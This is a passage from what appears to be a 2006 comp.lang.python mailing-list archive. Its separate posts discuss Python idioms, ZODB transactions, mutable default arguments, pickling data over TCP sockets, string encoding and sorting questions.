that "'Sup?" is idiomatic in >> English (or what passes for it nowadays ;-) but grates on those who >> aren't used to hearing it. > > It is idiomatic, but not _just_ idiomatic. The former requires > a list object (or a tricky __eq__()), the latter works with a variety > of objects, exhibiting a useful polymorphism. The latter will treat None and False the same as [], () and {}, which in most of my code is not what I want. In most cases I find testing for an empty sequence (however you do it) useless, because the loop over the sequence does whatever I want if it is empty. In cases where I do want to test for it I usually write: if len(my_list) > 0: That provides the polymorphism that is usefull to me and doesn't treat None the same as an empty sequence. > As for similarities between computer programming languages > and natural languages, I think that breaks down pretty fast. > > Part of the problem is something that pinches Python pretty > hard right here, a lack of words that conveniently express > important concepts in the language. A few posts back, Carl > Banks made a distinction between "equaling" and "being", and > if I understood that right, it expresses a fundamental notion > about the meaning of Python's "if", "while" etc. statements. > Unfortunately, though, English conflates existence and identity > in this word ("be"), so it's not going to serve our purposes > very well, and when it comes to words like "if" -- well, we > just have to use what we have. > > If there were better words to use with the notion of > "something-ness", I think we would see booleans as a silly > thing of little use to Python programmers. I think you are incorrect. Decisions have to be made and they are made based on conditions. Conditions are expressed in terms of True and False not in terms of Nothing or Something. That is how IMO people think. You can't change that just because python is implemented with the Nothing vs Something distinction in mind. > If you can see > "if" and "while" as constructs that respond to something-ness, > you will appreciate idiomatic Python better, because that > arguably is just what it's about. And how do I express that a number has to be greater than 100 into a Nothing vs Something dichotomy? Declare all greater numbers as Something and the rest as Nothing? -- Antoon Pardon From gord at no_spaming.com Wed Oct 4 16:21:21 2006 From: gord at no_spaming.com (gord) Date: Wed, 4 Oct 2006 16:21:21 -0400 Subject: Where is Python in the scheme of things? Message-ID: As a complete novice in the study of Python, I am asking myself where this language is superior or better suited than others. For example, all I see in the tutorials are lots of examples of list processing, arithmetic calculations - all in a DOS-like environment. What is particularly disappointing is the absence of a Windows IDE, components and an event driven paradigm. How does Python stand relative to the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these programming packages are quite expensive now while Python is free (at least for the package I am using - ActivePython). Please discuss where Python shines. Gord From cjw at sympatico.ca Thu Oct 26 08:30:55 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Thu, 26 Oct 2006 08:30:55 -0400 Subject: What's the best IDE? In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> Message-ID: Hakusa at gmail.com wrote: > After researching Komodo, I found it's not free. The only funds I have > are a college fund, and I can't start diping into that until I'm going > to college. Any free AND good IDEs? > PyScripter has already been suggested. It is both of these. Colin W. From tim.peters at gmail.com Mon Oct 30 07:03:56 2006 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 30 Oct 2006 07:03:56 -0500 Subject: ZODB: single database, multiple connections In-Reply-To: <1162207929.618525.169150@h48g2000cwc.googlegroups.com> References: <1162207929.618525.169150@h48g2000cwc.googlegroups.com> Message-ID: <1f7befae0610300403w460eff39l94d1d3a0e99bcf8@mail.gmail.com> [Petra Chong] > I am using Python 2.3 and ZODB (without the rest of Zope) with the > following pattern: > > * One process which writes stuff to a ZODB instance (call it test.db) > * Another process which reads stuff from the above ZODB instance > test.db > > What I find is that when the first process writes, the second doesn't > pick up the changes. I am sure this must be because I am using ZODB > wrongly, but I can't find any examples that show how to use ZODB in > this way, and I can't find any API docs for FileStorage, Connection, > etc. Reading the source code (from C:\python23\lib\site-packages) has > not thrown up anything useful. > > Here's my test code: > > A simple database class: > > ... > > Write: > > ... > > Read: > > db = Database("test.db", read_only = True) > > data = db.get_dictionary('data') > > If I have a Python shell open and run the above two lines, if I run the > write process repeatedly, the above "data" object never contains any of > the newly added items. To pick them up I have to totally recreate the > "db" object. You say that like it's hard to do ;-) It's a decent way to proceed. ZODB is a database, and has transactional semantics: you never see new object state on the read side because you're /in/ a transaction, and a transaction guarantees to give you a consistent view of the data. The view would be inconsistent if it showed you state committed by different transactions on the write side while you're still in the same transaction on the read side. > I must be doing something wrongly, but I can't figure out what. Seems to be a conceptual problem more than anything else. > Any suggestions? You already know that tossing your connection and opening a new connection will give you a newer view of the database, and it's unclear why you don't think that's good enough. Other approaches amount to telling ZODB (on the read side) that you're done with the current transaction. For example, try doing transaction.abort() on the read side when you're ready to see newer object state. BTW, a better place to ask about ZODB is the zodb-dev list: http://mail.zope.org/mailman/listinfo/zodb-dev It's not just for developers /of/ ZODB. Note that you need to subscribe to it in order to post to it (that's a heavyweight anti-spam gimmick common to all Zope lists). From bearophileHUGS at lycos.com Mon Oct 2 14:34:42 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 2 Oct 2006 11:34:42 -0700 Subject: zeta function for complex argument In-Reply-To: <1159812557.819161.126440@m7g2000cwm.googlegroups.com> References: <1159812557.819161.126440@m7g2000cwm.googlegroups.com> Message-ID: <1159814082.483521.273730@m7g2000cwm.googlegroups.com> Alec.Edgington at blueyonder.co.uk wrote: > Quick question: I'm wondering if there is, Somewhere Out There, a > Python implementation of the Riemann zeta function for complex > argument...? It seems that Scipy contaisn zeta too: http://www.rexx.com/~dkuhlman/scipy_course_01.html#special Search for "Other Special Functions:" Bye, bearophile From steve at holdenweb.com Tue Oct 3 11:35:41 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 16:35:41 +0100 Subject: loop beats generator expr creating large dict!? In-Reply-To: References: <20061002215040.65003374.gry@ll.mit.edu><1159866342.984495.254000@i42g2000cwa.googlegroups.com> Message-ID: Fredrik Lundh wrote: > David Isaac wrote: > > >>The current situation is: use a loop because the obvious generator >>approach is not efficient. > > > "not efficient" compared to what ? > Compared to understanding what's actually going on and working with reality as opposed to some superstitious view of how the interpreter operates, perhaps? Dag nab it, I'm turning into the effbot! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From dracula571 at gmail.com Tue Oct 17 04:26:53 2006 From: dracula571 at gmail.com (dracula571) Date: 17 Oct 2006 01:26:53 -0700 Subject: a question about s[i:j] when i is negative In-Reply-To: References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> Message-ID: <1161073613.545245.248040@f16g2000cwb.googlegroups.com> Fredrik Lundh ??? > dracula571 wrote: > > > but k[-6:2] = [1,2] > > why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by > > plusing len(k) twice. > > twice? > > that is -6 + len(k) + len(k) =4 From deets at nospam.web.de Tue Oct 17 05:14:02 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 17 Oct 2006 11:14:02 +0200 Subject: COM Error -- Urgent help References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> <1161070831.102884.37930@e3g2000cwe.googlegroups.com> <1161071939.165951.221510@i42g2000cwa.googlegroups.com> <1161076029.101436.3850@e3g2000cwe.googlegroups.com> Message-ID: <4pjl6qFj58saU1@uni-berlin.de> Teja wrote: > > Dennis Lee Bieber wrote: >> On 17 Oct 2006 00:58:59 -0700, "Teja" declaimed >> the following in comp.lang.python: >> >> > thread.start_new_thread(self.nav, (s,'www.google.com') >> > >> > I am getting an attribute error >> >> That can not be the REAL code... I'd expect a syntax error... You >> have mismatched parens on that line! >> -- >> Wulfraed Dennis Lee Bieber KD6MOG >> wlfraed at ix.netcom.com wulfraed at bestiaria.com >> HTTP://wlfraed.home.netcom.com/ >> (Bestiaria Support Staff: web-asst at bestiaria.com) >> HTTP://www.bestiaria.com/ > > Hi, > > Ya its a copy paste error... But can u please let me know what is the > reason for attribute error and how to rectify it?? How many times need you a beating with a clue-stick? Post the _actual_ code, not something that closely resembles it - in _your_ opinion.... Post the error message!!!! And before you do all this, read: http://www.catb.org/~esr/faqs/smart-questions.html Diez From onurb at xiludom.gro Fri Oct 20 05:25:47 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 20 Oct 2006 11:25:47 +0200 Subject: Why the result In-Reply-To: <1161335207.108215.104160@b28g2000cwb.googlegroups.com> References: <1161335207.108215.104160@b28g2000cwb.googlegroups.com> Message-ID: <4538961c$0$28288$426a34cc@news.free.fr> HYRY wrote: > Why the third print stement output "'comments': [(1, 2, 3)]", I think > it should be []. > I am using > Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] > on win32. > > # program > class PicInfo: > def __init__(self, intro="", tags="", comments=[]): This is a FAQ - and one of the most (in)famous Python's gotchas. Default arguments are eval'd *only once* - when the def statement is eval'd, which is usually at import time. So using a mutable object as default value makes this object behaving somehow like a C 'static' local variable, ie it keeps it value from call to call. The canonical idiom is to use None instead: class PicInfo(object): def __init__(self, intro="", tags="", comments=None): self.picintro = intro self.pictags = tags if comments is None: comments = [] self.comments = comments -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From inq1ltd at verizon.net Sun Oct 29 19:02:02 2006 From: inq1ltd at verizon.net (jim-on-linux) Date: Sun, 29 Oct 2006 19:02:02 -0500 Subject: looping through two list simultenously In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: <200610291902.02566.inq1ltd@verizon.net> On Sunday 29 October 2006 15:28, CSUIDL PROGRAMMEr wrote: > folks > I have two lists > > i am trying to loop thorough them > simultenously. > Try something like this. for eachline in data1: print eachline for line in data:: print line You might also think about a while loop. jim-on-linux http://www.inqvista.com > Here is the code i am using > > f1 = os.popen('ls chatlog*.out') > data1=f1.readlines() > f1.close() > > data1=[x.strip() for x in data1] > f1 = os.popen('ls chatlog*.txt') > data=f1.readlines() > f1.close() > for eachline in data1 and line in data: > > filename='/root/Desktop/project/'+ eachline > print filename > outfile=open(filename,'r') > filename1='/root/Desktop/project/' + line > print filename1 > > I get the error that line is not defined. > Traceback (most recent call last): > File "list.py", line 16, in ? > for eachline in data1 and line in data: > NameError: name 'line' is not defined > > Is there any efficient doing this From fredrik at pythonware.com Thu Oct 26 02:44:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 08:44:08 +0200 Subject: How the event list be sent to EventManager? In-Reply-To: <1161844141.057735.252310@e3g2000cwe.googlegroups.com> References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com> Message-ID: steve wrote: > The example code from: http://sjbrown.ezide.com/games/example1.py.html > ... > def Notify( self, event ): > if not isinstance(event, TickEvent): Debug( " > Message: " + event.name ) > for listener in self.listeners.keys(): > #If the weakref has died, remove it and > continue > #through the list > if listener is None: > del self.listeners[ listener ] > continue > listener.Notify( event ) > > I can not figure out how 'event' can has reference to 'event.name'? because the developer expects you to pass in an object that has a name attribute ? (one of the Event types defined at the top of that module, most likely). > Anyhow the 'event' has not defined! it's an argument to the method. > The 'event' dynamically get its own type through > isinstance(event,TickEvent):...? no, that line simply checks if it's a specific Event type, and enables debug logging for all other event types. From zzf818 at gmail.com Wed Oct 18 22:34:13 2006 From: zzf818 at gmail.com (kelin,zzf818@gmail.com) Date: 18 Oct 2006 19:34:13 -0700 Subject: How to use python in TestMaker Message-ID: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> Hello, Now I 'm learning python to do testing jobs, and want to use it in TestMaker. The problem is: I don't know how to use python in TestMaker. Just write python program in it or call .py files in it? I am really new about it and need some help. Thanks a lot! From evilrottenspawn at gmail.com Sat Oct 14 18:51:35 2006 From: evilrottenspawn at gmail.com (spawn) Date: 14 Oct 2006 15:51:35 -0700 Subject: Ok. This IS homework ... Message-ID: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> but I've been struggling with this for far too long and I'm about to start beating my head against the wall. My assignment seemed simple: create a program that will cacluate the running total of user inputs until it hits 100. At 100 it should stop. That's not the problem, in fact, that part works. It's the adding that isn't working. How can my program add 2 + 7 and come up with 14? I'm posting my code (so that you may all laugh). If ANYONE has any ideas on what I'm doing wrong, I'd appreciate. --------------------------------------------------- running = True goal = 100 # subtotal = 0 # running_total = subtotal + guess while running: guess = int(raw_input('Enter an integer that I can use to add : ')) subtotal = guess while running: guess = int(raw_input('I\'ll need another number : ')) running_total = guess + subtotal print running_total if running_total == goal: print 'Congratulations! You\'re done.' elif running_total > goal: print 'That\'s a good number, but too high. Try again.' print 'Done' -------------------------- I tried adding an additional "while" statement to capture the second number, but it didn't seem to solve my problem. Help! From cameron.walsh at gmail.com Tue Oct 24 00:19:35 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Tue, 24 Oct 2006 12:19:35 +0800 Subject: Sorting by item_in_another_list In-Reply-To: References: Message-ID: Cameron Walsh wrote: > Hi, > > I have two lists, A and B, such that B is a subset of A. > > I wish to sort A such that the elements in B are at the beginning of A, > and keep the existing order otherwise, i.e. stable sort. The order of > elements in B will always be correct. > > for example: > > A = [0,1,2,3,4,5,6,7,8,9,10] > B = [2,3,7,8] > > desired_result = [2,3,7,8,0,1,4,5,6,9,10] > > > At the moment I have defined a comparator function: > > def sort_by_in_list(x,y): > ret = 0 > if x in B: > ret -= 1 > if y in B: > ret += 1 > return ret > > and am using: > > A.sort(sort_by_in_list) > > which does produce the desired results. > > I do now have a few questions: > > 1.) Is this the most efficient method for up to around 500 elements? If > not, what would be better? > 2.) This current version does not allow me to choose a different list > for B. Is there a bind_third function of some description that I could > use to define a new function with 3 parameters, feed it the third (the > list to sort by), and have the A.sort(sort_by_in_list) provide the other > 2 variables? > > > Regards to all, > > Cameron. Well I found an answer to the second question with the following: >>> A=[0,1,2,3,4,5,6,7,8,9,10] >>> B=[2,3,7,8] >>> def sort_by_in_list(in_list): def ret_function(x,y): ret = 0 if x in in_list: ret -= 1 if y in in_list: ret += 1 return ret return ret_function >>> A.sort(sort_by_in_list(B)) >>> A [2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10] Hope it helps someone, Cameron. From onurb at xiludom.gro Fri Oct 6 12:33:58 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 06 Oct 2006 18:33:58 +0200 Subject: Bug in re module? In-Reply-To: <1160150558.282151.131750@m73g2000cwd.googlegroups.com> References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com> <1160150311.012494.98860@i3g2000cwc.googlegroups.com> <1160150558.282151.131750@m73g2000cwd.googlegroups.com> Message-ID: <45268577$0$32506$426a34cc@news.free.fr> Ant wrote: > John Machin wrote: > >> Now quick kill your post before the effbot spots it :-) > > Too late - the post was 3 minutes ago you know ;-) > +1 QOTW, BTW -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From joncle at googlemail.com Wed Oct 25 06:29:07 2006 From: joncle at googlemail.com (Jon Clements) Date: 25 Oct 2006 03:29:07 -0700 Subject: dict problem In-Reply-To: References: Message-ID: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> Alistair King wrote: > Jon Clements wrote: > > > > Alistair King wrote: > > > > > > > > > >> >> Hi, > >> >> > >> >> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error: > >> >> > >> >> > >> >> Traceback (most recent call last): > >> >> File "DS1excessH2O.py", line 242, in ? > >> >> updateDS1v(FCas, C, XDS) > >> >> NameError: name 'C' is not defined > >> >> > >> >> dictionary is: > >> >> > >> >> DS1v = {'C': 6, 'H': 10, 'O': 5} > >> >> > >> >> > >> >> > >> >> #'Fxas' in each case will be integers but 'atoms' should be a float > >> >> > >> >> def updateDS1v(Fxas, x, XDS): > >> >> while Fxas != 0: > >> >> atoms = DS1v.get('x') + Fxas*XDS > >> >> DS1v[x] = atoms > >> >> > >> >> updateDS1v(FCas, C, XDS) > >> >> updateDS1v(FHas, H, XDS) > >> >> updateDS1v(FOas, O, XDS) > >> >> updateDS1v(FNas, N, XDS) > >> >> updateDS1v(FSas, S, XDS) > >> >> updateDS1v(FClas, Cl, XDS) > >> >> updateDS1v(FBras, Br, XDS) > >> >> updateDS1v(FZnas, Zn, XDS) > >> >> print DS1v > >> >> > >> >> I know there is probably a simple solution but im quite new to python and am lost? > >> >> > >> >> > >> > > > > > > I strongly suggest reading through the tutorial. > > > > > > I don't think there's enough code here for anyone to check it properly. > > > For instance, it looks like FCas exists somewhere as it's barfing on > > > trying to find C. Where is XDS defined etc...? > > > > > > I can't see updateDS1v() ever completing: any Fxas passed in not equal > > > to 0 will repeat indefinately. > > > > > > I'm guessing unless C is meant to be a variable, you mean to pass in > > > the string 'C'. > > > > > > A dictionary already has it's own update method.... > > > > > > Perhaps if you explain what you're trying to do in plain English, we > > > could give you some pointers. > > > > > > Jon. > > > > > > > > > sorry, > > this has been a little rushed > > XDS is defined before the function and is a float. > the Fxas values are also and they are integers > > > now ive tried > > def updateDS1v(Fxas, x, XDS): > while Fxas != 0: > atoms = DS1v.get(x) + Fxas*XDS > DS1v['x'] = atoms > > updateDS1v(FCas, 'C', XDS) > updateDS1v(FHas, H, XDS) > updateDS1v(FOas, O, XDS) > updateDS1v(FNas, N, XDS) > updateDS1v(FSas, S, XDS) > updateDS1v(FClas, Cl, XDS) > updateDS1v(FBras, Br, XDS) > updateDS1v(FZnas, Zn, XDS) > print DS1v > > from this i get the error: > > Traceback (most recent call last): > File "DS1excessH2O.py", line 242, in ? > updateDS1v(FCas, 'C', XDS) > File "DS1excessH2O.py", line 239, in updateDS1v > atoms = DS1v.get(x) + Fxas*XDS > TypeError: unsupported operand type(s) for +: 'int' and 'str' > > > with single quotes (FCas, 'C', XDS) to retrieve the value for that key > from the dictionary and then create the new value and replace the old value. One of Fxas or XDS is a string then... Again, no-one can help you if we can't see what's actually there. What are FCas, FHas etc... do they relate to the element? If so, isn't that a dictionary in itself? And your update function is still an infinite loop! We're still in the dark as to what you're trying to do, try describing something like: "for each element there is an associated 'F' value. For each element in an existing molecule I wish to change the number of 'whatever' to be 'whatever' + my 'F' value * value XDS..." Jon. From nils at paragon.no Sun Oct 8 19:53:03 2006 From: nils at paragon.no (Nils R Grotnes) Date: Mon, 09 Oct 2006 01:53:03 +0200 Subject: Google code search (Was: Names changed to protect the guilty) In-Reply-To: References: <877izb1vwe.fsf@pobox.com> Message-ID: <45298f5f$0$8006$c83e3ef6@nn1-read.tele2.net> Google has a cool new service. http://www.google.com/codesearch You can use regular expressions! (I found at least 13 distinct utilities that used the idiom.) Nils From lycka at carmen.se Fri Oct 27 09:56:13 2006 From: lycka at carmen.se (Magnus Lycka) Date: Fri, 27 Oct 2006 15:56:13 +0200 Subject: print dos format file into unix format In-Reply-To: <4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com> References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> <4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com> Message-ID: Tim Roberts wrote: > "PengYu.UT at gmail.com" wrote: >> Suppose I have a dos format text file. The following python code will >> print ^M at the end. I'm wondering how to print it in unix format. >> >> fh = open(options.filename) >> for line in fh.readlines() >> print line, > > Are you running this on Unix or on DOS? > > On Unix, you can do: > > for line in open(options.filename).readlines(): > print line.rstrip() > > Perhaps quicker is: > > sys.stdout.write( open(options.filename).read().replace('\r\n','\n') ) There are more differences between text files than that. I don't know any unix systems that uses CP 437 etc. I'd convert the text to unicode through .decode('cp437') etc, and then print that. If things aren't set up so than unicode object print correctly, use .decode('cp437').encode('utf8') etc to get it to an appropriate encoding. From robert.kern at gmail.com Wed Oct 11 22:58:54 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 11 Oct 2006 22:58:54 -0400 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> Message-ID: Peter Decker wrote: > On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis wrote: > >> yes, an interesting tool. >> >> But to get more attention and developers, the project needs to be >> polished. >> >> really unattractive resources: >> >> http://dabodev.com >> http://case.lazaridis.com/wiki/DaboAudit > > Well, then, why not contribute? Or are you waiting for everyone else > to do it for you? No, he's just a troll that enjoys telling everyone what to do. Don't try to get him to contribute anything useful; it won't work. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From duncan.booth at invalid.invalid Mon Oct 2 07:33:50 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 2 Oct 2006 11:33:50 GMT Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> Message-ID: "Fredrik Lundh" wrote: > Duncan Booth wrote: > >> No it isn't Pythonic. > > rubbish. using a single constructor that handles two common use cases is > perfectly Pythonic (especially if you're targeting casual programmers). > Yes, but I don't think that the specific case the OP asked about would be pythonic: there was no need two separate calling conventions there. From deets at nospam.web.de Tue Oct 3 13:33:39 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 03 Oct 2006 19:33:39 +0200 Subject: Problem with ez_setup on a "non-networked" machine In-Reply-To: <1159842864.476548.284080@h48g2000cwc.googlegroups.com> References: <1159842864.476548.284080@h48g2000cwc.googlegroups.com> Message-ID: <4ofl7lFe2mb8U1@uni-berlin.de> alex23 schrieb: > Hey everyone, > > I'm trying to install setuptools on a work PC behind an NTLM firewall. > I've tried to use APS as recommended but am still unable to have > anything other than IE talk through firewall. But as I can downloaded > eggs manually, I'm not overly concerned at this point. > > So I've tried following the instructions for un-networked installs: > I've downloaded ez_setup.py and setuptools-0.6c3-py2.4.egg, putting the > egg file in the same folder as ez_setup. > > No matter what comline args I try, though, it always seems to try to > grab the egg from the Cheeseshop. I naively started off with: > > D:\downloads>ez_setup setuptools > Downloading > http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg > Traceback (most recent call last): > File "D:\downloads\ez_setup.py", line 217, in ? > main(sys.argv[1:]) > File "D:\downloads\ez_setup.py", line 149, in main > egg = download_setuptools(version, delay=0) > File "D:\downloads\ez_setup.py", line 131, in download_setuptools > src = urllib2.urlopen(url) > File "C:\Python24\lib\urllib2.py", line 130, in urlopen > return _opener.open(url, data) > File "C:\Python24\lib\urllib2.py", line 358, in open > response = self._open(req, data) > File "C:\Python24\lib\urllib2.py", line 376, in _open > '_open', req) > File "C:\Python24\lib\urllib2.py", line 337, in _call_chain > result = func(*args) > File "C:\Python24\lib\urllib2.py", line 1021, in http_open > return self.do_open(httplib.HTTPConnection, req) > File "C:\Python24\lib\urllib2.py", line 996, in do_open > raise URLError(err) > urllib2.URLError: > > So reading through the EasyInstall instructions, I find that I need to > stop it from downloading and point it at the local copy instead: > > D:\downloads>ez_setup --allow-hosts=None --find-links="D:\downloads" > setuptools > Downloading > http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg > Traceback (most recent call last): > [snip] > urllib2.URLError: > > This I don't understand, as the docs explicitly state, > "--allow-hosts=None prevents downloading altogether", which certainly > isn't the case here. Even using the exact param layout for the example > in the docs doesn't work: > > D:\downloads>ez_setup -H None -f D:\downloads setuptools > Downloading > http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0. > 6c3-py2.4.egg > Traceback (most recent call last): > [etc] > > The difference is that I'm using ez_setup instead of easy_install, but > then that's what I'm wanting to end up with out of this exercise. The > docs do state that ez_setup uses the exact same comline args as > easy_install...is this definitely the case? > > Any help at all would be greatly appreciated. I feel like I'm missing > something blatantly obvious... ez_setup.py implies a certain setuptools version available. As you don't have that available, it will fallback to installing one, which explains the "still downloading"-thing. The solution will most probably be to put the setuptools-egg on you python-path. I'm not sure if that is all to do, but to me it looks as if it might work after looking into ez_setup.py. If not, you should dig in there yourself. Diez From inq1ltd at verizon.net Fri Oct 27 17:21:32 2006 From: inq1ltd at verizon.net (jim-on-linux) Date: Fri, 27 Oct 2006 17:21:32 -0400 Subject: How to Split Chinese Character with backslash representation? In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net> Message-ID: <200610271721.32234.inq1ltd@verizon.net> On Thursday 26 October 2006 23:43, you wrote: > Hi all, > > I was trying to split a string that > > represent chinese characters below: > >>> str = '\xc5\xeb\xc7\xd5\xbc' > >>> print str2, > > ??? > > >>> fields2 = split(r'\\',str) > >>> print fields2, > > ['\xc5\xeb\xc7\xd5\xbc'] > > But why the split function here doesn't seem > to do the job for obtaining the desired result: The character '\' is an escape character. It won't show just like '\n' at the end of a line doesn't show. To show it must be preceeded by another '\' like this '\\' figgure out a way to start with '\\' and you'll be ok. x = str.split('\\xc5\\xeb\\xc7\\xd5\\xbc', '\\') print x, '## x on line 10 == \n\n\n' ### '\n' won't show on printed line print x, '## x on line 15 == \\n' ### '\n' will show on printed line for n in x: n= '\\'+n print n jim-on-linux http://www.inqvista.com > > ['\xc5','\xeb','\xc7','\xd5','\xbc'] > > > > Regards, > -- Edward WIJAYA > SINGAPORE > > > > ------------ Institute For Infocomm Research - > Disclaimer ------------- This email is > confidential and may be privileged. If you are > not the intended recipient, please delete it > and notify us immediately. Please do not copy > or use it for any purpose, or disclose its > contents to any other person. Thank you. > ----------------------------------------------- >--------- From steve at holdenweb.com Sat Oct 14 04:05:34 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 14 Oct 2006 09:05:34 +0100 Subject: Sending binary pickled data through TCP In-Reply-To: <452FD3B1.9060306@ilm.com> References: <452EEEF1.6030606@ilm.com> <452FD3B1.9060306@ilm.com> Message-ID: <45309A4E.2090906@holdenweb.com> David Hirschfield wrote: > Thanks for the great response. > > Yeah, by "safe" I mean that it's all happening on an intranet with no > chance of malicious individuals getting access to the stream of data. > > The chunks are arbitrary collections of python objects. I'm wrapping > them up a little, but I don't know much about the actual formal makeup > of the data, other than it pickles successfully. > > Are there any existing python modules that do the equivalent of pickling > on arbitrary python data, but do it a lot faster? I wasn't aware of any > that are as easy to use as pickle, or don't require implementing them > myself, which is not something I have time for. > Marshal may achieve what you want, but on a more limited range of datatypes than pickle. regards Steve > Thanks again, > -Dave > > Steve Holden wrote: > >>David Hirschfield wrote: >> >> >>>I have a pair of programs which trade python data back and forth by >>>pickling up lists of objects on one side (using >>>pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket >>>connection to the receiver, who unpickles the data and uses it. >>> >>>So far this has been working fine, but I now need a way of separating >>>multiple chunks of pickled binary data in the stream being sent back and >>>forth. >>> >>>Questions: >>> >>>Is it safe to do what I'm doing? I didn't think there was anything >>>fundamentally wrong with sending binary pickled data, especially in the >>>closed, safe environment these programs operate under...but maybe I'm >>>making a poor assumption? >>> >>> >>> >>If there's no chance of malevolent attackers modifying the data stream >>then you can safely ignore the otherwise dire consequences of unpickling >>arbitrary chunks of data. >> >> >> >>>I was going to separate the chunks of pickled data with some well-formed >>>string, but couldn't that string potentially randomly appear in the >>>pickled data? Do I just pick an extremely >>>unlikely-to-be-randomly-generated string as the separator? Is there some >>>string that will definitely NEVER show up in pickled binary data? >>> >>> >>> >>I presumed each chunk was of a know structure. Couldn't you just lead of >>with a pickled integer saying how many chunks follow? >> >> >> >>>I thought about base64 encoding the data, and then decoding on the >>>opposite side (like what xmlrpclib does), but that turns out to be a >>>very expensive operation, which I want to avoid, speed is of the essence >>>in this situation. >>> >>> >>> >>Yes, base64 stuffs three bytes into four (six bits per byte) giving you >>a 33% overhead. Having said that, pickle isn't all that efficient a >>representation because it's designed to be portable. If you are using >>machines of the same type there are almost certainly faster binary >>encodings. >> >> >> >>>Is there a reliable way to determine the byte count of some pickled >>>binary data? Can I rely on len() == bytes? >>> >>> >>> >>Yes, since pickle returns a string of bytes, not a Unicode object. >> >>If bandwidth really is becoming a limitation you might want to consider >>uses of the struct module to represent things more compactly (but this >>may be too difficult if the objects being exchanged are at all complex). >> >>regards >> Steve >> >> > > -- > Presenting: > mediocre nebula. > -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From NoelByron at gmx.net Thu Oct 19 05:16:51 2006 From: NoelByron at gmx.net (NoelByron at gmx.net) Date: 19 Oct 2006 02:16:51 -0700 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) Message-ID: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> Hi! I'm struggling with the conversion of a UTF-8 string to latin-1. As far as I know the way to go is to decode the UTF-8 string to unicode and then encode it back again to latin-1? So I tried: 'K\xc3\xb6ni'.decode('utf-8') # 'K\xc3\xb6ni' should be 'K?nig', contains a german 'umlaut' but failed since python assumes every string to decode to be ASCII? How can I convert this string to latin-1? How would you write a function like: def encode_string(string, from_encoding, to_encoding): #???? Best regards, Noel From horpner at yahoo.com Tue Oct 17 07:52:41 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 17 Oct 2006 13:52:41 +0200 Subject: Alphabetical sorts References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: On 2006-10-17, Ron Adam wrote: > Neil Cerutti wrote: >> On 2006-10-16, Ron Adam wrote: >>> I have several applications where I want to sort lists in >>> alphabetical order. Most examples of sorting usually sort on >>> the ord() order of the character set as an approximation. >>> But that is not always what you want. >> >> Check out strxfrm in the locale module. > > It looks to me this would be a good candidate for a > configurable class. Something preferably in the string module > where it could be found easier. > > Is there anyway to change the behavior of strxfrm or strcoll? > For example have caps before lowercase, instead of after? You can probably get away with writing a strxfrm function that spits out numbers that fit your definition of sorting. -- Neil Cerutti Whenever I see a homeless guy, I always run back and give him money, because I think: Oh my God, what if that was Jesus? 